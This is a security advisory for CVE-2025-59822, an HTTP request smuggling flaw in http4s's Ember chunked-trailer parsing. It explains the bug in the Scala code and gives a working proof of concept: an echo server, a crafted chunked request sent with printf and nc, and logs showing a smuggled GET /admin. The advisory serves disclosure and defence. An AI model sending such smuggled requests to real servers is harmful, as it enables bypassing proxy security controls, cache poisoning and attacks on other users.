CVE-2025-59822

Description

### Summary http4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section. This vulnerability could enable attackers to: - Bypass front-end servers security controls - Launch targeted attacks against active users - Poison web caches Pre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers. ### Details The HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`). This method parses the trailer section using `Parser.parse`, where the issue originates. `parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf && (idx > 0 && message(idx - 1) == cr))` that sets `complete=true` even if no `\r\n\r\n` is found. ```scala if (current == colon) { state = true // set state to check for header value name = new String(message, start, idx - start) // extract name string start = idx + 1 // advance past colon for next start // TODO: This if clause may not be necessary since the header value parser trims if (message.size > idx + 1 && message(idx + 1) == space) { start += 1 // if colon is followed by space advance again idx += 1 // double advance index here to skip the space } // double CRLF condition - Termination of headers } else if (current == lf && (idx > 0 && message(idx - 1) == cr)) { // <----- not a double CRLF check complete = true // completed terminate loop } ``` The remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling. ### PoC Start a simple webserver that echoes the received requests: ```scala import cats.effect._ import cats.implicits._ import org.http4s._ import org.http4s.dsl.io._ import org.http4s.ember.server.EmberServerBuilder import org.http4s.server.Router import org.http4s.server.middleware.RequestLogger import org.typelevel.log4cats.LoggerFactory import org.typelevel.log4cats.slf4j.Slf4jFactory import com.comcast.ip4s._ object ExploitServer extends IOApp { implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO] val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] { case req @ _ => for { bodyStr <- req.bodyText.compile.string method = req.method.name uri = req.uri.toString() version = req.httpVersion.toString headers = req.headers.headers.map { header => s"${header.name.toString.toLowerCase}: ${header.value}" }.mkString("\n") responseText = s"""$method $uri $version $headers $bodyStr """ result <- Ok(responseText) } yield result } val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)( Router("/" -> echoService).orNotFound ) override def run(args: List[String]): IO[ExitCode] = { EmberServerBuilder .default[IO] .withHost(ipv4"0.0.0.0") .withPort(port"8080") .withHttpApp(httpApp) .build .use { server => IO.println(s"Server started at http://0.0.0.0:8080") >> IO.never } .as(ExitCode.Success) } } ``` `build.sbt` ``` ThisBuild / scalaVersion := "2.13.15" val http4sVersion = "0.23.30" lazy val root = (project in file(".")) .settings( name := "http4s-echo-server", libraryDependencies ++= Seq( "org.http4s" %% "http4s-ember-server" % http4sVersion, "org.http4s" %% "http4s-dsl" % http4sVersion, "org.http4s" %% "http4s-circe" % http4sVersion, "ch.qos.logback" % "logback-classic" % "1.4.11", "org.typelevel" %% "log4cats-slf4j" % "2.6.0", ) ) ``` Send the following request: ```http POST / HTTP/1.1 Host: localhost Transfer-Encoding: chunked 2 aa 0 Test: smuggling a GET /admin HTTP/1.1 Host: localhost ``` You can do that with the following command: `printf 'POST / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunked\r\n\r\n2\r\naa\r\n0\r\nTest: smuggling\r\na\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc localhost 8080` You will see that the request is interpreted as two separate requests ``` 16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body="aa" 16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost) ```